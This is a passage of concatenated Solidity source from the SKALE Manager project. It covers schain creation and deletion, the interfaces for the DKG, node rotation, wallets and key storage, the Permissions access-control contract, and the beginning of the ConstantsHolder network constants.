b: signatureB
}),
hash, counter,
hashA, hashB,
publicKey
);
}
function getOption(bytes32 schainHash, string calldata optionName) external view override returns (bytes memory) {
bytes32 optionHash = keccak256(abi.encodePacked(optionName));
ISchainsInternal schainsInternal = ISchainsInternal(
contractManager.getContract("SchainsInternal"));
return _getOption(schainHash, optionHash, schainsInternal);
}
function getOptions(bytes32 schainHash) external view override returns (SchainOption[] memory) {
SchainOption[] memory options = new SchainOption[](_optionsIndex[schainHash].length());
for (uint i = 0; i < options.length; ++i) {
options[i] = _options[schainHash][_optionsIndex[schainHash].at(i)];
}
return options;
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Returns the current price in SKL tokens for given Schain type and lifetime.
*/
function getSchainPrice(uint typeOfSchain, uint lifetime) public view override returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
uint nodeDeposit = constantsHolder.NODE_DEPOSIT();
uint numberOfNodes;
uint8 divisor;
(divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain);
if (divisor == 0) {
return 1e18;
} else {
uint up = nodeDeposit * numberOfNodes * lifetime * 2;
uint down = uint(
uint(constantsHolder.SMALL_DIVISOR())
* uint(constantsHolder.SECONDS_TO_YEAR())
/ divisor
);
return up / down;
}
}
/**
* @dev Initializes an schain in the SchainsInternal contract.
*
* Requirements:
*
* - Schain name is not already in use.
*/
function _initializeSchainInSchainsInternal(
string memory name,
address from,
address originator,
uint deposit,
uint lifetime,
ISchainsInternal schainsInternal,
SchainOption[] memory options
)
private
{
require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available");
bytes32 schainHash = keccak256(abi.encodePacked(name));
for (uint i = 0; i < options.length; ++i) {
_setOption(schainHash, options[i]);
}
// initialize Schain
schainsInternal.initializeSchain(name, from, originator, lifetime, deposit);
}
/**
* @dev Allows creation of node group for Schain.
*
* Emits an {SchainNodes} event.
*/
function _createGroupForSchain(
string memory schainName,
bytes32 schainHash,
uint numberOfNodes,
uint8 partOfNode,
ISchainsInternal schainsInternal
)
private
{
uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainHash, numberOfNodes, partOfNode);
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash);
emit SchainNodes(
schainName,
schainHash,
nodesInGroup);
}
/**
* @dev Creates an schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type must be valid.
*/
function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private {
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
require(!schainParameters.originator.isContract(), "Originator address must be not a contract");
if (from.isContract()) {
require(schainParameters.originator != address(0), "Originator address is not provided");
} else {
schainParameters.originator = address(0);
}
//initialize Schain
_initializeSchainInSchainsInternal(
schainParameters.name,
from,
schainParameters.originator,
deposit,
schainParameters.lifetime,
schainsInternal,
schainParameters.options
);
// create a group for Schain
uint numberOfNodes;
uint8 partOfNode;
(partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain);
_createGroupForSchain(
schainParameters.name,
keccak256(abi.encodePacked(schainParameters.name)),
numberOfNodes,
partOfNode,
schainsInternal
);
emit SchainCreated(
schainParameters.name,
from,
partOfNode,
schainParameters.lifetime,
numberOfNodes,
deposit,
schainParameters.nonce,
keccak256(abi.encodePacked(schainParameters.name)));
}
function _deleteSchain(string calldata name, ISchainsInternal schainsInternal) private {
INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(schainsInternal.isSchainExist(schainHash), "Schain does not exist");
_deleteOptions(schainHash, schainsInternal);
uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainHash);
for (uint i = 0; i < nodesInGroup.length; i++) {
if (schainsInternal.checkHoleForSchain(schainHash, i)) {
continue;
}
require(
schainsInternal.checkSchainOnNode(nodesInGroup[i], schainHash),
"Some Node does not contain given Schain"
);
schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainHash);
schainsInternal.removeNodeFromExceptions(schainHash, nodesInGroup[i]);
}
schainsInternal.removeAllNodesFromSchainExceptions(schainHash);
schainsInternal.deleteGroup(schainHash);
address from = schainsInternal.getSchainOwner(schainHash);
schainsInternal.removeHolesForSchain(schainHash);
nodeRotation.removeRotation(schainHash);
schainsInternal.removeSchain(schainHash, from);
IWallets(
payable(contractManager.getContract("Wallets"))
).withdrawFundsFromSchainWallet(payable(from), schainHash);
emit SchainDeleted(from, name, schainHash);
}
function _setOption(
bytes32 schainHash,
SchainOption memory option
)
private
{
bytes32 optionHash = keccak256(abi.encodePacked(option.name));
_options[schainHash][optionHash] = option;
require(_optionsIndex[schainHash].add(optionHash), "The option has been set already");
}
function _deleteOptions(
bytes32 schainHash,
ISchainsInternal schainsInternal
)
private
schainExists(schainsInternal, schainHash)
{
while (_optionsIndex[schainHash].length() > 0) {
bytes32 optionHash = _optionsIndex[schainHash].at(0);
delete _options[schainHash][optionHash];
require(_optionsIndex[schainHash].remove(optionHash), "Removing error");
}
}
function _getOption(
bytes32 schainHash,
bytes32 optionHash,
ISchainsInternal schainsInternal
)
private
view
schainExists(schainsInternal, schainHash)
returns (bytes memory)
{
require(_optionsIndex[schainHash].contains(optionHash), "Option is not set");
return _options[schainHash][optionHash].value;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchains.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchains {
struct SchainOption {
string name;
bytes value;
}
/**
* @dev Emitted when an schain is created.
*/
event SchainCreated(
string name,
address owner,
uint partOfNode,
uint lifetime,
uint numberOfNodes,
uint deposit,
uint16 nonce,
bytes32 schainHash
);
/**
* @dev Emitted when an schain is deleted.
*/
event SchainDeleted(
address owner,
string name,
bytes32 indexed schainHash
);
/**
* @dev Emitted when a node in an schain is rotated.
*/
event NodeRotated(
bytes32 schainHash,
uint oldNode,
uint newNode
);
/**
* @dev Emitted when a node is added to an schain.
*/
event NodeAdded(
bytes32 schainHash,
uint newNode
);
/**
* @dev Emitted when a group of nodes is created for an schain.
*/
event SchainNodes(
string name,
bytes32 schainHash,
uint[] nodesInGroup
);
function addSchain(address from, uint deposit, bytes calldata data) external;
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner,
address schainOriginator,
SchainOption[] calldata options
)
external
payable;
function deleteSchain(address from, string calldata name) external;
function deleteSchainByRoot(string calldata name) external;
function restartSchainCreation(string calldata name) external;
function verifySchainSignature(
uint256 signA,
uint256 signB,
bytes32 hash,
uint256 counter,
uint256 hashA,
uint256 hashB,
string calldata schainName
)
external
view
returns (bool);
function getSchainPrice(uint typeOfSchain, uint lifetime) external view returns (uint);
function getOption(bytes32 schainHash, string calldata optionName) external view returns (bytes memory);
function getOptions(bytes32 schainHash) external view returns (SchainOption[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleVerifier.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
import "./ISkaleDKG.sol";
interface ISkaleVerifier {
function verify(
ISkaleDKG.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
ISkaleDKG.G2Point calldata publicKey
)
external
view
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleDKG.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISkaleDKG {
struct Fp2Point {
uint a;
uint b;
}
struct G2Point {
Fp2Point x;
Fp2Point y;
}
struct Channel {
bool active;
uint n;
uint startedBlockTimestamp;
uint startedBlock;
}
struct ProcessDKG {
uint numberOfBroadcasted;
uint numberOfCompleted;
bool[] broadcasted;
bool[] completed;
}
struct ComplaintData {
uint nodeToComplaint;
uint fromNodeToComplaint;
uint startComplaintBlockTimestamp;
bool isResponse;
bytes32 keyShare;
G2Point sumOfVerVec;
}
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
/**
* @dev Emitted when a channel is opened.
*/
event ChannelOpened(bytes32 schainHash);
/**
* @dev Emitted when a channel is closed.
*/
event ChannelClosed(bytes32 schainHash);
/**
* @dev Emitted when a node broadcasts key share.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainHash,
uint indexed fromNode,
G2Point[] verificationVector,
KeyShare[] secretKeyContribution
);
/**
* @dev Emitted when all group data is received by node.
*/
event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex);
/**
* @dev Emitted when DKG is successful.
*/
event SuccessfulDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a complaint against a node is verified.
*/
event BadGuy(uint nodeIndex);
/**
* @dev Emitted when DKG failed.
*/
event FailedDKG(bytes32 indexed schainHash);
/**
* @dev Emitted when a new node is rotated in.
*/
event NewGuy(uint nodeIndex);
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex);
function alright(bytes32 schainHash, uint fromNodeIndex) external;
function broadcast(
bytes32 schainHash,
uint nodeIndex,
G2Point[] memory verificationVector,
KeyShare[] memory secretKeyContribution
)
external;
function complaintBadData(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external;
function preResponse(
bytes32 schainId,
uint fromNodeIndex,
G2Point[] memory verificationVector,
G2Point[] memory verificationVectorMultiplication,
KeyShare[] memory secretKeyContribution
)
external;
function complaint(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external;
function response(
bytes32 schainHash,
uint fromNodeIndex,
uint secretNumber,
G2Point memory multipliedShare
)
external;
function openChannel(bytes32 schainHash) external;
function deleteChannel(bytes32 schainHash) external;
function setStartAlrightTimestamp(bytes32 schainHash) external;
function setBadNode(bytes32 schainHash, uint nodeIndex) external;
function finalizeSlashing(bytes32 schainHash, uint badNode) external;
function getChannelStartedTime(bytes32 schainHash) external view returns (uint);
function getChannelStartedBlock(bytes32 schainHash) external view returns (uint);
function getNumberOfBroadcasted(bytes32 schainHash) external view returns (uint);
function getNumberOfCompleted(bytes32 schainHash) external view returns (uint);
function getTimeOfLastSuccessfulDKG(bytes32 schainHash) external view returns (uint);
function getComplaintData(bytes32 schainHash) external view returns (uint, uint);
function getComplaintStartedTime(bytes32 schainHash) external view returns (uint);
function getAlrightStartedTime(bytes32 schainHash) external view returns (uint);
function isChannelOpened(bytes32 schainHash) external view returns (bool);
function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool);
function isBroadcastPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isComplaintPossible(
bytes32 schainHash,
uint fromNodeIndex,
uint toNodeIndex
)
external
view
returns (bool);
function isAlrightPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isPreResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isNodeBroadcasted(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function isAllDataReceived(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function checkAndReturnIndexInGroup(
bytes32 schainHash,
uint nodeIndex,
bool revertCheck
)
external
view
returns (uint, bool);
function isEveryoneBroadcasted(bytes32 schainHash) external view returns (bool);
function hashData(
KeyShare[] memory secretKeyContribution,
G2Point[] memory verificationVector
)
external
pure
returns (bytes32);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchainsInternal - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchainsInternal {
struct Schain {
string name;
address owner;
uint indexInOwnerList;
uint8 partOfNode;
uint lifetime;
uint startDate;
uint startBlock;
uint deposit;
uint64 index;
uint generation;
address originator;
}
struct SchainType {
uint8 partOfNode;
uint numberOfNodes;
}
/**
* @dev Emitted when schain type added.
*/
event SchainTypeAdded(uint indexed schainType, uint partOfNode, uint numberOfNodes);
/**
* @dev Emitted when schain type removed.
*/
event SchainTypeRemoved(uint indexed schainType);
function initializeSchain(
string calldata name,
address from,
address originator,
uint lifetime,
uint deposit) external;
function createGroupForSchain(
bytes32 schainHash,
uint numberOfNodes,
uint8 partOfNode
)
external
returns (uint[] memory);
function changeLifetime(bytes32 schainHash, uint lifetime, uint deposit) external;
function removeSchain(bytes32 schainHash, address from) external;
function removeNodeFromSchain(uint nodeIndex, bytes32 schainHash) external;
function deleteGroup(bytes32 schainHash) external;
function setException(bytes32 schainHash, uint nodeIndex) external;
function setNodeInGroup(bytes32 schainHash, uint nodeIndex) external;
function removeHolesForSchain(bytes32 schainHash) external;
function addSchainType(uint8 partOfNode, uint numberOfNodes) external;
function removeSchainType(uint typeOfSchain) external;
function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external;
function removeNodeFromAllExceptionSchains(uint nodeIndex) external;
function removeAllNodesFromSchainExceptions(bytes32 schainHash) external;
function makeSchainNodesInvisible(bytes32 schainHash) external;
function makeSchainNodesVisible(bytes32 schainHash) external;
function newGeneration() external;
function addSchainForNode(uint nodeIndex, bytes32 schainHash) external;
function removeSchainForNode(uint nodeIndex, uint schainIndex) external;
function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) external;
function isSchainActive(bytes32 schainHash) external view returns (bool);
function schainsAtSystem(uint index) external view returns (bytes32);
function numberOfSchains() external view returns (uint64);
function getSchains() external view returns (bytes32[] memory);
function getSchainsPartOfNode(bytes32 schainHash) external view returns (uint8);
function getSchainListSize(address from) external view returns (uint);
function getSchainHashesByAddress(address from) external view returns (bytes32[] memory);
function getSchainIdsByAddress(address from) external view returns (bytes32[] memory);
function getSchainHashesForNode(uint nodeIndex) external view returns (bytes32[] memory);
function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory);
function getSchainOwner(bytes32 schainHash) external view returns (address);
function getSchainOriginator(bytes32 schainHash) external view returns (address);
function isSchainNameAvailable(string calldata name) external view returns (bool);
function isTimeExpired(bytes32 schainHash) external view returns (bool);
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool);
function getSchainName(bytes32 schainHash) external view returns (string memory);
function getActiveSchain(uint nodeIndex) external view returns (bytes32);
function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains);
function getNumberOfNodesInGroup(bytes32 schainHash) external view returns (uint);
function getNodesInGroup(bytes32 schainHash) external view returns (uint[] memory);
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool);
function getNodeIndexInGroup(bytes32 schainHash, uint nodeId) external view returns (uint);
function isAnyFreeNode(bytes32 schainHash) external view returns (bool);
function checkException(bytes32 schainHash, uint nodeIndex) external view returns (bool);
function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool);
function checkSchainOnNode(uint nodeIndex, bytes32 schainHash) external view returns (bool);
function getSchainType(uint typeOfSchain) external view returns(uint8, uint);
function getGeneration(bytes32 schainHash) external view returns (uint);
function isSchainExist(bytes32 schainHash) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IKeyStorage.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
import "./ISkaleDKG.sol";
interface IKeyStorage {
struct KeyShare {
bytes32[2] publicKey;
bytes32 share;
}
function deleteKey(bytes32 schainHash) external;
function initPublicKeyInProgress(bytes32 schainHash) external;
function adding(bytes32 schainHash, ISkaleDKG.G2Point memory value) external;
function finalizePublicKey(bytes32 schainHash) external;
function getCommonPublicKey(bytes32 schainHash) external view returns (ISkaleDKG.G2Point memory);
function getPreviousPublicKey(bytes32 schainHash) external view returns (ISkaleDKG.G2Point memory);
function getAllPreviousPublicKeys(bytes32 schainHash) external view returns (ISkaleDKG.G2Point[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
INodeRotation.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface INodeRotation {
/**
* nodeIndex - index of Node which is in process of rotation (left from schain)
* newNodeIndex - index of Node which is rotated(added to schain)
* freezeUntil - time till which Node should be turned on
* rotationCounter - how many _rotations were on this schain
*/
struct Rotation {
uint nodeIndex;
uint newNodeIndex;
uint freezeUntil;
uint rotationCounter;
}
struct LeavingHistory {
bytes32 schainHash;
uint finishedRotation;
}
function exitFromSchain(uint nodeIndex) external returns (bool, bool);
function freezeSchains(uint nodeIndex) external;
function removeRotation(bytes32 schainHash) external;
function skipRotationDelay(bytes32 schainHash) external;
function rotateNode(
uint nodeIndex,
bytes32 schainHash,
bool shouldDelay,
bool isBadNode
)
external
returns (uint newNode);
function selectNodeToGroup(bytes32 schainHash) external returns (uint nodeIndex);
function getRotation(bytes32 schainHash) external view returns (Rotation memory);
function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory);
function isRotationInProgress(bytes32 schainHash) external view returns (bool);
function isNewNodeFound(bytes32 schainHash) external view returns (bool);
function getPreviousNode(bytes32 schainHash, uint256 nodeIndex) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IWallets - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IWallets {
/**
* @dev Emitted when the validator wallet was funded
*/
event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId);
/**
* @dev Emitted when the schain wallet was funded
*/
event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainHash);
/**
* @dev Emitted when the node received a refund from validator to its wallet
*/
event NodeRefundedByValidator(address node, uint validatorId, uint amount);
/**
* @dev Emitted when the node received a refund from schain to its wallet
*/
event NodeRefundedBySchain(address node, bytes32 schainHash, uint amount);
/**
* @dev Emitted when the validator withdrawn funds from validator wallet
*/
event WithdrawFromValidatorWallet(uint indexed validatorId, uint amount);
/**
* @dev Emitted when the schain owner withdrawn funds from schain wallet
*/
event WithdrawFromSchainWallet(bytes32 indexed schainHash, uint amount);
receive() external payable;
function refundGasByValidator(uint validatorId, address payable spender, uint spentGas) external;
function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external;
function refundGasBySchain(bytes32 schainId, address payable spender, uint spentGas, bool isDebt) external;
function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external;
function withdrawFundsFromValidatorWallet(uint amount) external;
function rechargeValidatorWallet(uint validatorId) external payable;
function rechargeSchainWallet(bytes32 schainId) external payable;
function getSchainBalance(bytes32 schainHash) external view returns (uint);
function getValidatorBalance(uint validatorId) external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Permissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/IContractManager.sol";
import "@skalenetwork/skale-manager-interfaces/IPermissions.sol";
import "./thirdparty/openzeppelin/AccessControlUpgradeableLegacy.sol";
/**
* @title Permissions
* @dev Contract is connected module for Upgradeable approach, knows ContractManager
*/
contract Permissions is AccessControlUpgradeableLegacy, IPermissions {
using AddressUpgradeable for address;
IContractManager public contractManager;
/**
* @dev Modifier to make a function callable only when caller is the Owner.
*
* Requirements:
*
* - The caller must be the owner.
*/
modifier onlyOwner() {
require(_isOwner(), "Caller is not the owner");
_;
}
/**
* @dev Modifier to make a function callable only when caller is an Admin.
*
* Requirements:
*
* - The caller must be an admin.
*/
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "Caller is not an admin");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName` contract.
*
* Requirements:
*
* - The caller must be the owner or `contractName`.
*/
modifier allow(string memory contractName) {
require(
contractManager.getContract(contractName) == msg.sender || _isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1` or `contractName2` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, or `contractName2`.
*/
modifier allowTwo(string memory contractName1, string memory contractName2) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1`, `contractName2`, or `contractName3` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, `contractName2`, or
* `contractName3`.
*/
modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
contractManager.getContract(contractName3) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
function initialize(address contractManagerAddress) public virtual override initializer {
AccessControlUpgradeableLegacy.__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setContractManager(contractManagerAddress);
}
function _isOwner() internal view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function _isAdmin(address account) internal view returns (bool) {
address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager")));
if (skaleManagerAddress != address(0)) {
AccessControlUpgradeableLegacy skaleManager = AccessControlUpgradeableLegacy(skaleManagerAddress);
return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner();
} else {
return _isOwner();
}
}
function _setContractManager(address contractManagerAddress) private {
require(contractManagerAddress != address(0), "ContractManager address is not set");
require(contractManagerAddress.isContract(), "Address is not contract");
contractManager = IContractManager(contractManagerAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ConstantsHolder.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/IConstantsHolder.sol";
import "./Permissions.sol";
/**
* @title ConstantsHolder
* @dev Contract contains constants and common variables for the SKALE Network.
*/
contract ConstantsHolder is Permissions, IConstantsHolder {
// initial price for creating Node (100 SKL)
uint public constant NODE_DEPOSIT = 100 * 1e18;
uint8 public constant TOTAL_SPACE_ON_NODE = 128;
// part of Node for Small Skale-chain (1/128 of Node)
uint8 public constant SMALL_DIVISOR = 128;
// part of Node for Medium Skale-chain (1/32 of Node)
uint8 public constant MEDIUM_DIVISOR = 32;
// part of Node for Large Skale-chain (full Node)
uint8 public constant LARGE_DIVISOR = 1;
// part of Node for Medium Test Skale-chain (1/4 of Node)
uint8 public constant MEDIUM_TEST_DIVISOR = 4;
// typically number of Nodes for Skale-chain (16 Nodes)
uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16;
// number of Nodes for Test Skale-chain (2 Nodes)
uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2;
// number of Nodes for Test Skale-chain (4 Nodes)
uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4;
// number of seconds in one year
uint32 public constant SECONDS_TO_YEAR = 31622400;
// initial number of monitors
uint public constant NUMBER_OF_MONITORS = 24;
uint public constant OPTIMAL_LOAD_PERCENTAGE = 80;
uint public constant ADJUSTMENT_SPEED = 1000;
uint public constant COOLDOWN_TIME = 60;
uint public constant MIN_PRICE = 10**6;
uint public constant MSR_REDUCING_COEFFICIENT = 2;
uint public constant DOWNTIME_THRESHOLD_PART = 30;
uint public constant BOUNTY_LOCKUP_MONTHS = 2;
uint public constant ALRIGHT_DELTA = 134161;
uint public constant BROADCAST_DELTA = 177490;
uint public constant COMPLAINT_BAD_DATA_DELTA = 80995;
uint public constant PRE_RESPONSE_DELTA = 100061;
uint public constant COMPLAINT_DELTA = 104611;
uint public constant RESPONSE_DELTA = 49132;
// MSR - Minimum staking requirement
uint public msr;
// Reward period - 30 days (each 30 days Node would be granted for bounty)
uint32 public rewardPeriod;
// Allowable latency - 150000 ms by default
uint32 public allowableLatency;
/**
* Delta period - 1 hour (1 hour before Reward period became Monitors need
* to send Verdicts and 1 hour after Reward period became Node need to come
* and get Bounty)
*/
uint32 public deltaPeriod;
/**
* Check time - 2 minutes (every 2 minutes monitors should check metrics
* from checked nodes)
*/
uint public checkTime;
//Need to add minimal allowed parameters for verdicts
uint public launchTimestamp;
uint public rotationDelay;
uint public proofOfUseLockUpPeriodDays;
uint public proofOfUseDelegationPercentage;
uint public limitValidatorsPerDelegator;
uint256 public firstDelegationsMonth; // deprecated
// date when schains will be allowed for creation
uint public schainCreationTimeStamp;
uint public minimalSchainLifetime;
uint public complaintTimeLimit;
bytes32 public constant CONSTANTS_HOLDER_MANAGER_ROLE = keccak256("CONSTANTS_HOLDER_MANAGER_ROLE");
modifier onlyConstantsHolderManager() {
require(hasRole(CONSTANTS_HOLDER_MANAGER_ROLE, msg.sender), "CONSTANTS_HOLDER_MANAGER_ROLE is required");
_;
}
/**
* @dev Allows the Owner to set new reward and delta periods
* This function is only for tests.
*/
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external override onlyConstantsHolderManager {
require(
newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime,
"Incorrect Periods"
);
emit ConstantUpdated(
keccak256(abi.encodePacked("RewardPeriod")),
uint(rewardPeriod),
uint(newRewardPeriod)
);
